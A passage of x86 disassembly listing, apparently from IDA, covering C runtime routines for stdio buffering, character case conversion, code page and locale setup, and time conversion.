dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE5: ; CODE XREF: sub_423AD0+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_423AEE: ; CODE XREF: sub_423AD0+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_423B14 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_419FB0 add esp, 8 jmp short loc_423AE5 ; --------------------------------------------------------------------------- loc_423B14: ; CODE XREF: sub_423AD0+24j mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_423AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B20 proc near ; CODE XREF: sub_423930+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_4189A0 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_423B4A xor eax, eax jmp loc_423C79 ; --------------------------------------------------------------------------- loc_423B4A: ; CODE XREF: sub_423B20+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_423B80 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_423B80 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_419FA0 add esp, 8 xor eax, eax jmp loc_423C79 ; --------------------------------------------------------------------------- loc_423B80: ; CODE XREF: sub_423B20+33j ; sub_423B20+3Ej mov [ebp+var_4], 0 jmp short loc_423B92 ; --------------------------------------------------------------------------- loc_423B89: ; CODE XREF: sub_423B20+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_423B92: ; CODE XREF: sub_423B20+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_42AC40 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_423BB4 or eax, 0FFFFFFFFh jmp loc_423C79 ; --------------------------------------------------------------------------- loc_423BB4: ; CODE XREF: sub_423B20+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_423BEA cmp [ebp+var_C], 40h jge short loc_423BEA movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_423BEA mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4191A0 add esp, 0Ch jmp short loc_423C50 ; --------------------------------------------------------------------------- loc_423BEA: ; CODE XREF: sub_423B20+A3j ; sub_423B20+A9j ... cmp [ebp+var_4], 1 jnz short loc_423C18 cmp [ebp+var_C], 40h jge short loc_423C18 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_423C18 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_4191A0 add esp, 0Ch jmp short loc_423C50 ; --------------------------------------------------------------------------- loc_423C18: ; CODE XREF: sub_423B20+CEj ; sub_423B20+D4j ... cmp [ebp+var_4], 2 jnz short loc_423C4B movsx eax, [ebp+var_8] test eax, eax jz short loc_423C2F movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_423C4B loc_423C2F: ; CODE XREF: sub_423B20+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_4191A0 add esp, 0Ch jmp short loc_423C50 ; --------------------------------------------------------------------------- loc_423C4B: ; CODE XREF: sub_423B20+FCj ; sub_423B20+10Dj or eax, 0FFFFFFFFh jmp short loc_423C79 ; --------------------------------------------------------------------------- loc_423C50: ; CODE XREF: sub_423B20+C8j ; sub_423B20+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_423C5B jmp short loc_423C77 ; --------------------------------------------------------------------------- loc_423C5B: ; CODE XREF: sub_423B20+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_423C65 jmp short loc_423C77 ; --------------------------------------------------------------------------- loc_423C65: ; CODE XREF: sub_423B20+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_423B89 ; --------------------------------------------------------------------------- loc_423C77: ; CODE XREF: sub_423B20+139j ; sub_423B20+143j xor eax, eax loc_423C79: ; CODE XREF: sub_423B20+25j ; sub_423B20+5Bj ... mov esp, ebp pop ebp retn sub_423B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C80 proc near ; CODE XREF: sub_423930+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_419FA0 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_423CB8 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__4 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_423AD0 add esp, 10h loc_423CB8: ; CODE XREF: sub_423C80+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_423CE3 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__3 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_423AD0 add esp, 10h loc_423CE3: ; CODE XREF: sub_423C80+44j pop ebp retn sub_423C80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D00 proc near ; CODE XREF: sub_41A870+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_492170, 0 jnz short loc_423D27 cmp [ebp+arg_0], 61h jl short loc_423D22 cmp [ebp+arg_0], 7Ah jg short loc_423D22 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_423D22: ; CODE XREF: sub_423D00+11j ; sub_423D00+17j mov eax, [ebp+arg_0] jmp short loc_423D8F ; --------------------------------------------------------------------------- loc_423D27: ; CODE XREF: sub_423D00+Bj push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_423D59 push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_4], 1 jmp short loc_423D60 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423D00+39j mov [ebp+var_4], 0 loc_423D60: ; CODE XREF: sub_423D00+57j mov ecx, [ebp+arg_0] push ecx call sub_423DA0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_423D81 push 13h call sub_41BD30 add esp, 4 jmp short loc_423D8C ; --------------------------------------------------------------------------- loc_423D81: ; CODE XREF: sub_423D00+73j push offset dword_49274C call ds:dword_494414 loc_423D8C: ; CODE XREF: sub_423D00+7Fj mov eax, [ebp+arg_0] loc_423D8F: ; CODE XREF: sub_423D00+25j mov esp, ebp pop ebp retn sub_423D00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DA0 proc near ; CODE XREF: sub_423D00+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_492170, 0 jnz short loc_423DCC cmp [ebp+arg_0], 61h jl short loc_423DC4 cmp [ebp+arg_0], 7Ah jg short loc_423DC4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_423DC4: ; CODE XREF: sub_423DA0+13j ; sub_423DA0+19j mov eax, [ebp+arg_0] jmp loc_423EC7 ; --------------------------------------------------------------------------- loc_423DCC: ; CODE XREF: sub_423DA0+Dj cmp [ebp+arg_0], 100h jge short loc_423E13 cmp dword_442F58, 1 jle short loc_423DF1 push 2 mov ecx, [ebp+arg_0] push ecx call sub_41E750 add esp, 8 mov [ebp+var_10], eax jmp short loc_423E05 ; --------------------------------------------------------------------------- loc_423DF1: ; CODE XREF: sub_423DA0+3Cj mov edx, [ebp+arg_0] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_423E05: ; CODE XREF: sub_423DA0+4Fj cmp [ebp+var_10], 0 jnz short loc_423E13 mov eax, [ebp+arg_0] jmp loc_423EC7 ; --------------------------------------------------------------------------- loc_423E13: ; CODE XREF: sub_423DA0+33j ; sub_423DA0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_423E5C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_423E6D ; --------------------------------------------------------------------------- loc_423E5C: ; CODE XREF: sub_423DA0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_423E6D: ; CODE XREF: sub_423DA0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, dword_492170 push edx call sub_422F40 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_423EA1 mov eax, [ebp+arg_0] jmp short loc_423EC7 ; --------------------------------------------------------------------------- loc_423EA1: ; CODE XREF: sub_423DA0+FAj cmp [ebp+var_4], 1 jnz short loc_423EB1 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_423EC7 ; --------------------------------------------------------------------------- loc_423EB1: ; CODE XREF: sub_423DA0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_423EC7: ; CODE XREF: sub_423DA0+27j ; sub_423DA0+6Ej ... mov esp, ebp pop ebp retn sub_423DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423ED0 proc near ; CODE XREF: sub_41ABD0+161p var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] sub eax, 76Ch mov [ebp+arg_0], eax cmp [ebp+arg_0], 46h jl short loc_423EF0 cmp [ebp+arg_0], 8Ah jle short loc_423EF8 loc_423EF0: ; CODE XREF: sub_423ED0+15j or eax, 0FFFFFFFFh jmp loc_423FBA ; --------------------------------------------------------------------------- loc_423EF8: ; CODE XREF: sub_423ED0+1Ej mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] add edx, dword_443FAC[ecx*4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] and eax, 3 test eax, eax jnz short loc_423F21 cmp [ebp+arg_4], 2 jle short loc_423F21 mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx loc_423F21: ; CODE XREF: sub_423ED0+40j ; sub_423ED0+46j mov edx, [ebp+arg_0] sub edx, 46h imul edx, 16Dh mov eax, [ebp+arg_0] sub eax, 1 sar eax, 2 mov ecx, [ebp+var_2C] add ecx, edx lea edx, [eax+ecx-11h] imul edx, 18h add edx, [ebp+arg_C] mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 3Ch add eax, [ebp+arg_10] imul eax, 3Ch add eax, [ebp+arg_14] mov [ebp+var_4], eax call sub_42BA60 mov ecx, [ebp+var_4] add ecx, dword_443EC8 mov [ebp+var_4], ecx mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_C] mov [ebp+var_20], edx cmp [ebp+arg_18], 1 jz short loc_423FAB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_423FB7 cmp dword_443ECC, 0 jz short loc_423FB7 lea eax, [ebp+var_28] push eax call sub_42BE70 add esp, 4 test eax, eax jz short loc_423FB7 loc_423FAB: ; CODE XREF: sub_423ED0+BAj mov ecx, [ebp+var_4] add ecx, dword_443ED0 mov [ebp+var_4], ecx loc_423FB7: ; CODE XREF: sub_423ED0+C0j ; sub_423ED0+C9j ... mov eax, [ebp+var_4] loc_423FBA: ; CODE XREF: sub_423ED0+23j mov esp, ebp pop ebp retn sub_423ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423FC0 proc near ; CODE XREF: sub_41AD60+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_423FC9: ; CODE XREF: sub_423FC0+31j cmp [ebp+arg_0], 0 jnz short loc_423FED push offset aStrNull ; "str != NULL" push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_423FED int 3 ; Trap to Debugger loc_423FED: ; CODE XREF: sub_423FC0+Dj ; sub_423FC0+2Aj xor eax, eax test eax, eax jnz short loc_423FC9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_4271D0 add esp, 4 test eax, eax jnz short loc_424013 xor eax, eax jmp loc_424110 ; --------------------------------------------------------------------------- loc_424013: ; CODE XREF: sub_423FC0+4Aj cmp [ebp+var_4], offset dword_442FA0 jnz short loc_424025 mov [ebp+var_8], 0 jmp short loc_42403E ; --------------------------------------------------------------------------- loc_424025: ; CODE XREF: sub_423FC0+5Aj cmp [ebp+var_4], offset dword_442FC0 jnz short loc_424037 mov [ebp+var_8], 1 jmp short loc_42403E ; --------------------------------------------------------------------------- loc_424037: ; CODE XREF: sub_423FC0+6Cj xor eax, eax jmp loc_424110 ; --------------------------------------------------------------------------- loc_42403E: ; CODE XREF: sub_423FC0+63j ; sub_423FC0+75j mov ecx, dword_492154 add ecx, 1 mov dword_492154, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_424063 xor eax, eax jmp loc_424110 ; --------------------------------------------------------------------------- loc_424063: ; CODE XREF: sub_423FC0+9Aj mov ecx, [ebp+var_8] cmp dword_492188[ecx*4], 0 jnz short loc_4240CA push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_416A30 add esp, 10h mov edx, [ebp+var_8] mov dword_492188[edx*4], eax mov eax, [ebp+var_8] cmp dword_492188[eax*4], 0 jnz short loc_4240CA mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_4240F9 ; --------------------------------------------------------------------------- loc_4240CA: ; CODE XREF: sub_423FC0+AEj ; sub_423FC0+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, dword_492188[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_4240F9: ; CODE XREF: sub_423FC0+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_424110: ; CODE XREF: sub_423FC0+4Ej ; sub_423FC0+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424120 proc near ; CODE XREF: sub_41AD60+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_424127: ; CODE XREF: sub_424120+38j cmp [ebp+arg_0], 0 jz short loc_424154 cmp [ebp+arg_0], 1 jz short loc_424154 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_424154 int 3 ; Trap to Debugger loc_424154: ; CODE XREF: sub_424120+Bj ; sub_424120+11j ... xor eax, eax test eax, eax jnz short loc_424127 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_4241AD mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_4241AD mov ecx, [ebp+var_4] push ecx call sub_421580 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_4241AD: ; CODE XREF: sub_424120+44j ; sub_424120+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4241C0 proc near ; CODE XREF: sub_4249A0+Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 19h call sub_41BC90 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_424510 add esp, 4 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] cmp ecx, dword_492524 jnz short loc_4241FB push 19h call sub_41BD30 add esp, 4 xor eax, eax jmp loc_424500 ; --------------------------------------------------------------------------- loc_4241FB: ; CODE XREF: sub_4241C0+28j cmp [ebp+arg_0], 0 jnz short loc_42421C call sub_4245F0 call sub_424670 push 19h call sub_41BD30 add esp, 4 xor eax, eax jmp loc_424500 ; --------------------------------------------------------------------------- loc_42421C: ; CODE XREF: sub_4241C0+3Fj mov [ebp+var_4], 0 jmp short loc_42422E ; --------------------------------------------------------------------------- loc_424225: ; CODE XREF: sub_4241C0:loc_42437Aj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42422E: ; CODE XREF: sub_4241C0+63j cmp [ebp+var_4], 5 jnb loc_42437F mov eax, [ebp+var_4] imul eax, 30h mov ecx, dword_4434E0[eax] cmp ecx, [ebp+arg_0] jnz loc_42437A mov [ebp+var_24], 0 jmp short loc_42425F ; --------------------------------------------------------------------------- loc_424256: ; CODE XREF: sub_4241C0+B2j mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_42425F: ; CODE XREF: sub_4241C0+94j cmp [ebp+var_24], 101h jnb short loc_424274 mov eax, [ebp+var_24] mov byte_492640[eax], 0 jmp short loc_424256 ; --------------------------------------------------------------------------- loc_424274: ; CODE XREF: sub_4241C0+A6j mov [ebp+var_C], 0 jmp short loc_424286 ; --------------------------------------------------------------------------- loc_42427D: ; CODE XREF: sub_4241C0:loc_424302j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_424286: ; CODE XREF: sub_4241C0+BBj cmp [ebp+var_C], 4 jnb short loc_424307 mov edx, [ebp+var_4] imul edx, 30h mov eax, [ebp+var_C] lea ecx, dword_4434F0[edx+eax*8] mov [ebp+var_8], ecx jmp short loc_4242AA ; --------------------------------------------------------------------------- loc_4242A1: ; CODE XREF: sub_4241C0:loc_424300j mov edx, [ebp+var_8] add edx, 2 mov [ebp+var_8], edx loc_4242AA: ; CODE XREF: sub_4241C0+DFj mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_424302 mov edx, [ebp+var_8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_424302 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_4242D6 ; --------------------------------------------------------------------------- loc_4242CD: ; CODE XREF: sub_4241C0+13Ej mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_4242D6: ; CODE XREF: sub_4241C0+10Bj mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_424300 mov eax, [ebp+var_24] mov ecx, [ebp+var_C] mov dl, byte_492641[eax] or dl, byte_4434D8[ecx] mov eax, [ebp+var_24] mov byte_492641[eax], dl jmp short loc_4242CD ; --------------------------------------------------------------------------- loc_424300: ; CODE XREF: sub_4241C0+121j jmp short loc_4242A1 ; --------------------------------------------------------------------------- loc_424302: ; CODE XREF: sub_4241C0+F3j ; sub_4241C0+FFj jmp loc_42427D ; --------------------------------------------------------------------------- loc_424307: ; CODE XREF: sub_4241C0+CAj mov ecx, [ebp+arg_0] mov dword_492524, ecx mov dword_49253C, 1 mov edx, dword_492524 push edx call sub_424570 add esp, 4 mov dword_492744, eax mov [ebp+var_C], 0 jmp short loc_424340 ; --------------------------------------------------------------------------- loc_424337: ; CODE XREF: sub_4241C0+1A2j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_424340: ; CODE XREF: sub_4241C0+175j cmp [ebp+var_C], 6 jnb short loc_424364 mov ecx, [ebp+var_4] imul ecx, 30h mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov cx, word_4434E4[ecx+eax*2] mov word_492530[edx*2], cx jmp short loc_424337 ; --------------------------------------------------------------------------- loc_424364: ; CODE XREF: sub_4241C0+184j call sub_424670 push 19h call sub_41BD30 add esp, 4 xor eax, eax jmp loc_424500 ; --------------------------------------------------------------------------- loc_42437A: ; CODE XREF: sub_4241C0+87j jmp loc_424225 ; --------------------------------------------------------------------------- loc_42437F: ; CODE XREF: sub_4241C0+72j lea edx, [ebp+var_20] push edx mov eax, [ebp+arg_0] push eax call ds:dword_49447C cmp eax, 1 jnz loc_4244D2 mov [ebp+var_24], 0 jmp short loc_4243A8 ; --------------------------------------------------------------------------- loc_42439F: ; CODE XREF: sub_4241C0+1FBj mov ecx, [ebp+var_24] add ecx, 1 mov [ebp+var_24], ecx loc_4243A8: ; CODE XREF: sub_4241C0+1DDj cmp [ebp+var_24], 101h jnb short loc_4243BD mov edx, [ebp+var_24] mov byte_492640[edx], 0 jmp short loc_42439F ; --------------------------------------------------------------------------- loc_4243BD: ; CODE XREF: sub_4241C0+1EFj mov eax, [ebp+arg_0] mov dword_492524, eax mov dword_492744, 0 cmp [ebp+var_20], 1 jbe loc_42448E lea ecx, [ebp+var_1A] mov [ebp+var_28], ecx jmp short loc_4243EA ; --------------------------------------------------------------------------- loc_4243E1: ; CODE XREF: sub_4241C0:loc_42443Aj mov edx, [ebp+var_28] add edx, 2 mov [ebp+var_28], edx loc_4243EA: ; CODE XREF: sub_4241C0+21Fj mov eax, [ebp+var_28] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42443C mov edx, [ebp+var_28] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42443C mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_424416 ; --------------------------------------------------------------------------- loc_42440D: ; CODE XREF: sub_4241C0+278j mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_424416: ; CODE XREF: sub_4241C0+24Bj mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_42443A mov eax, [ebp+var_24] mov cl, byte_492641[eax] or cl, 4 mov edx, [ebp+var_24] mov byte_492641[edx], cl jmp short loc_42440D ; --------------------------------------------------------------------------- loc_42443A: ; CODE XREF: sub_4241C0+261j jmp short loc_4243E1 ; --------------------------------------------------------------------------- loc_42443C: ; CODE XREF: sub_4241C0+233j ; sub_4241C0+23Fj mov [ebp+var_24], 1 jmp short loc_42444E ; --------------------------------------------------------------------------- loc_424445: ; CODE XREF: sub_4241C0+2ACj mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_42444E: ; CODE XREF: sub_4241C0+283j cmp [ebp+var_24], 0FFh jnb short loc_42446E mov ecx, [ebp+var_24] mov dl, byte_492641[ecx] or dl, 8 mov eax, [ebp+var_24] mov byte_492641[eax], dl jmp short loc_424445 ; --------------------------------------------------------------------------- loc_42446E: ; CODE XREF: sub_4241C0+295j mov ecx, dword_492524 push ecx call sub_424570 add esp, 4 mov dword_492744, eax mov dword_49253C, 1 jmp short loc_424498 ; --------------------------------------------------------------------------- loc_42448E: ; CODE XREF: sub_4241C0+213j mov dword_49253C, 0 loc_424498: ; CODE XREF: sub_4241C0+2CCj mov [ebp+var_C], 0 jmp short loc_4244AA ; --------------------------------------------------------------------------- loc_4244A1: ; CODE XREF: sub_4241C0+2FDj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_4244AA: ; CODE XREF: sub_4241C0+2DFj cmp [ebp+var_C], 6 jnb short loc_4244BF mov eax, [ebp+var_C] mov word_492530[eax*2], 0 jmp short loc_4244A1 ; --------------------------------------------------------------------------- loc_4244BF: ; CODE XREF: sub_4241C0+2EEj call sub_424670 push 19h call sub_41BD30 add esp, 4 xor eax, eax jmp short loc_424500 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_4241C0+1D0j cmp dword_492190, 0 jz short loc_4244F3 call sub_4245F0 call sub_424670 push 19h call sub_41BD30 add esp, 4 xor eax, eax jmp short loc_424500 ; --------------------------------------------------------------------------- loc_4244F3: ; CODE XREF: sub_4241C0+319j push 19h call sub_41BD30 add esp, 4 or eax, 0FFFFFFFFh loc_424500: ; CODE XREF: sub_4241C0+36j ; sub_4241C0+57j ... mov esp, ebp pop ebp retn sub_4241C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424510 proc near ; CODE XREF: sub_4241C0+14p arg_0 = dword ptr 8 push ebp mov ebp, esp mov dword_492190, 0 cmp [ebp+arg_0], 0FFFFFFFEh jnz short loc_424535 mov dword_492190, 1 call ds:dword_494484 jmp short loc_424567 ; --------------------------------------------------------------------------- loc_424535: ; CODE XREF: sub_424510+11j cmp [ebp+arg_0], 0FFFFFFFDh jnz short loc_42454D mov dword_492190, 1 call ds:dword_494480 jmp short loc_424567 ; --------------------------------------------------------------------------- loc_42454D: ; CODE XREF: sub_424510+29j cmp [ebp+arg_0], 0FFFFFFFCh jnz short loc_424564 mov dword_492190, 1 mov eax, dword_492180 jmp short loc_424567 ; --------------------------------------------------------------------------- loc_424564: ; CODE XREF: sub_424510+41j mov eax, [ebp+arg_0] loc_424567: ; CODE XREF: sub_424510+23j ; sub_424510+3Bj ... pop ebp retn sub_424510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424570 proc near ; CODE XREF: sub_4241C0+161p ; sub_4241C0+2B5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_4245BA mov eax, [ebp+var_4] xor edx, edx mov dl, ds:byte_4245D4[eax] jmp ds:off_4245C0[edx*4] loc_42459E: ; DATA XREF: .text:off_4245C0o mov eax, 411h jmp short loc_4245BC ; --------------------------------------------------------------------------- loc_4245A5: ; CODE XREF: sub_424570+27j ; DATA XREF: .text:004245C4o mov eax, 804h jmp short loc_4245BC ; --------------------------------------------------------------------------- loc_4245AC: ; CODE XREF: sub_424570+27j ; DATA XREF: .text:004245C8o mov eax, 412h jmp short loc_4245BC ; --------------------------------------------------------------------------- loc_4245B3: ; CODE XREF: sub_424570+27j ; DATA XREF: .text:004245CCo mov eax, 404h jmp short loc_4245BC ; --------------------------------------------------------------------------- loc_4245BA: ; CODE XREF: sub_424570+1Aj ; sub_424570+27j ; DATA XREF: ... xor eax, eax loc_4245BC: ; CODE XREF: sub_424570+33j ; sub_424570+3Aj ... mov esp, ebp pop ebp retn sub_424570 endp ; --------------------------------------------------------------------------- off_4245C0 dd offset loc_42459E ; DATA XREF: sub_424570+27r dd offset loc_4245A5 dd offset loc_4245AC dd offset loc_4245B3 dd offset loc_4245BA byte_4245D4 db 0 ; 